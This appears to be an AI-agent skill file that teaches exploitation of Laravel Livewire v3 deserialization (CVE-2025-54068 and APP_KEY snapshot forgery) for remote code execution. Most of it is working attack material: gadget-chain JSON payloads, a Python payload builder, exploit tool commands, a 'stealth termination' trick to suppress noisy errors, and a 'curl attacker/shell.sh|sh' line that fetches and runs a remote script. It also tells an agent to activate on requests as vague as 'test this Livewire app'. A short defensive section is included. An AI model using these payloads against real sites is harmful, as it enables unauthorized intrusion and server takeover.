Hacktricks-skills livewire-hydration-exploitation

Exploit Laravel Livewire v3 deserialization vulnerabilities for RCE. Use this skill whenever the user mentions Livewire, Laravel, deserialization attacks, CVE-2025-54068, Livewire snapshots, hydration abuse, or any web application using Livewire v3. Trigger even if the user just says "test this Livewire app" or "check for deserialization" on a Laravel site.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse/SKILL.MD
source content

Laravel Livewire Hydration & Synthesizer Abuse

A skill for exploiting Laravel Livewire v3 deserialization vulnerabilities to achieve remote code execution (RCE).

Overview

Livewire 3 components exchange state through snapshots containing

data
,
memo
, and a checksum. The hydration system uses synthetic tuples to encode complex properties, delegating to synthesizers that can instantiate arbitrary classes. This creates a generic object-instantiation engine exploitable for RCE.

Two Attack Paths

  1. With APP_KEY: Forge arbitrary snapshots by recomputing HMAC checksums
  2. CVE-2025-54068 (No APP_KEY): Abuse
    updates
    merging after checksum validation (affects v3.0.0-beta.1 to v3.6.2)

Prerequisites

  • Target running Laravel with Livewire v3
  • Access to
    /livewire/update
    endpoint
  • For APP_KEY path: knowledge of
    APP_KEY
    (base64 encoded)
  • For CVE path: a Livewire component with untyped public properties

Reconnaissance

1. Identify Livewire Version

# Check the livewire.js hash to fingerprint version
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'

Map the hash to vulnerable releases:

  • v3.0.0-beta.1 to v3.6.2: Vulnerable to CVE-2025-54068
  • All v3 versions: Vulnerable if APP_KEY is known

2. Capture Baseline Request

# Intercept a legitimate /livewire/update request
curl -X POST https://target.com/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-Livewire: true" \
  -d '{"components":[],"updates":{},"fingerprint":{}}' \
  --trace-ascii -

Extract

components[0].snapshot
for analysis.

Attack Path 1: With APP_KEY (Snapshot Forgery)

Step 1: Decode the Snapshot

# Extract and decode the snapshot from captured request
python3 -c "
import json, base64
with open('request.json') as f:
    data = json.load(f)
snapshot = data['components'][0]['snapshot']
print(json.dumps(snapshot, indent=2))
"

Step 2: Inject Gadget Tuples

The exploit uses synthesizer tuples to instantiate gadget objects:

SynthesizerKeyBehavior
CollectionSynth
clctn
new $meta['class']($value)
FormObjectSynth
form
new $meta['class']($component, $path)
ModelSynth
mdl
new $class
(zero-arg)

Step 3: Use laravel-crypto-killer

# Clone and run
./laravel_crypto_killer.py exploit -e livewire \
  -k base64:APP_KEY \
  -j request.json \
  --function system \
  -p "bash -c 'id'"

The tool:

  • Parses the captured snapshot
  • Injects gadget tuples (Guzzle FnStream + Flysystem chain)
  • Recomputes the HMAC checksum
  • Outputs a ready-to-send payload

Step 4: Replay the Forged Request

curl -X POST https://target.com/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-CSRF-TOKEN: <token>" \
  -d @forged_payload.json

Attack Path 2: CVE-2025-54068 (No APP_KEY)

Understanding the Vulnerability

updates
are merged into component state after snapshot checksum validation. If a property becomes a synthetic tuple, Livewire reuses its metadata while hydrating attacker-controlled update values.

Step 1: Find Coercible Property

Look for untyped public properties in Livewire components:

// Vulnerable pattern
class MyComponent extends Component {
    public $count;  // Untyped - can be coerced to array
    public $items;  // Untyped - exploitable
}

Step 2: Force Tuple Creation

Send an update that coerces a property to an array:

{
  "updates": {
    "count": []
  }
}

The next snapshot will store it as:

"count": [[], {"s": "arr"}]

Step 3: Inject Nested Gadget Tuples

Craft an update with deeply nested arrays containing gadget tuples:

{
  "updates": {
    "count": [
      [
        {"__toString": "phpinfo"},
        {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
      ],
      {"s": "arr"}
    ]
  }
}

Step 4: Use Livepyre (Automated)

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target.com/livewire/component \
  -f system -p id

# With APP_KEY (signed snapshot path)
python3 Livepyre.py -u https://target.com/livewire/component \
  -a base64:APP_KEY \
  -f system -p "bash -c 'curl attacker/shell.sh|sh'"

Livepyre features:

  • -c/--check
    : Non-destructive probe
  • -F
    : Skip version gating
  • -H
    : Custom headers
  • -P
    : Proxy support
  • --function/--param
    : Customize invoked function

Manual Payload Construction

Minimal RCE Chain

import json

# FnStream with __toString callable
fn_stream_tuple = [
    {"__toString": "system", "__invoke": ["id"]},
    {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
]

# Queueable gadget with phpggc chain
queueable_tuple = [
    {
        "chained": [
            # phpggc Laravel/RCE4Adapted serialized blob
            "O:47:\"Illuminate\\Broadcasting\\BroadcastEvent\":2:{...}"
        ]
    },
    {"s": "clctn", "class": "Illuminate\\Queue\\CallQueuedHandler"}
]

# Combine in updates payload
payload = {
    "updates": {
        "target_property": [fn_stream_tuple, {"s": "arr"}]
    }
}

Stealth Termination

Prevent noisy exceptions by adding exit callable:

{
  "__invoke": ["exit"],
  "__toString": "phpinfo"
}

Or use Laravel's Terminal:

{
  "__invoke": ["exit"],
  "class": "Laravel\\Prompts\\Terminal"
}

Gadget Chains

Available Chains

  1. Guzzle FnStream + Flysystem

    • Instantiates FnStream with
      __toString
      callable
    • Flysystem casts prefixes to string, invoking the callable
    • Works for any zero-argument function
  2. phpggc Laravel/RCE4Adapted

    • Uses Queueable trait's
      $chained
      property
    • BroadcastEvent wrapper triggers deserialization
    • PendingBroadcast -> Validator -> Signed closure
    • call_user_func_array($closure, $args)
      enables
      system($cmd)

Custom Gadget Discovery

Any class with:

  • Array constructor (CollectionSynth)
  • Two loosely-typed constructor params (FormObjectSynth)
  • Zero-argument constructor (ModelSynth)

Can potentially be instantiated. Look for:

  • __toString
    ,
    __invoke
    ,
    __destruct
    magic methods
  • Public properties that trigger code execution
  • Traits like Queueable, SerializesModels

Defensive Considerations

For Defenders

  1. Upgrade immediately: Livewire >= 3.6.4
  2. Type all properties: Use explicit scalar types
    public int $count;  // Not exploitable
    public string $name;  // Not exploitable
    
  3. Minimize synthesizers: Register only needed ones
  4. Validate type changes: Reject scalar -> array updates
  5. Rotate APP_KEY: After any disclosure

For Pentesters

  • Always check version before exploiting
  • Use
    -c/--check
    for non-destructive probing
  • Document findings with proof-of-concept payloads
  • Consider impact of noisy exceptions on detection

References

Quick Reference

# Automated exploitation (CVE-2025-54068)
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Automated exploitation (with APP_KEY)
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY -f system -p "whoami"

# Manual snapshot forgery
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY -j request.json --function system -p "id"

# Version fingerprinting
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'

Test Cases

Use these prompts to verify skill functionality:

  1. "I found a Laravel app using Livewire v3.2.0, how do I check if it's vulnerable to CVE-2025-54068?"
  2. "I have the APP_KEY for a Livewire application, show me how to forge a snapshot for RCE"
  3. "Help me exploit a Livewire component with public $count property"
  4. "What's the difference between the APP_KEY and no-APP_KEY Livewire exploitation paths?"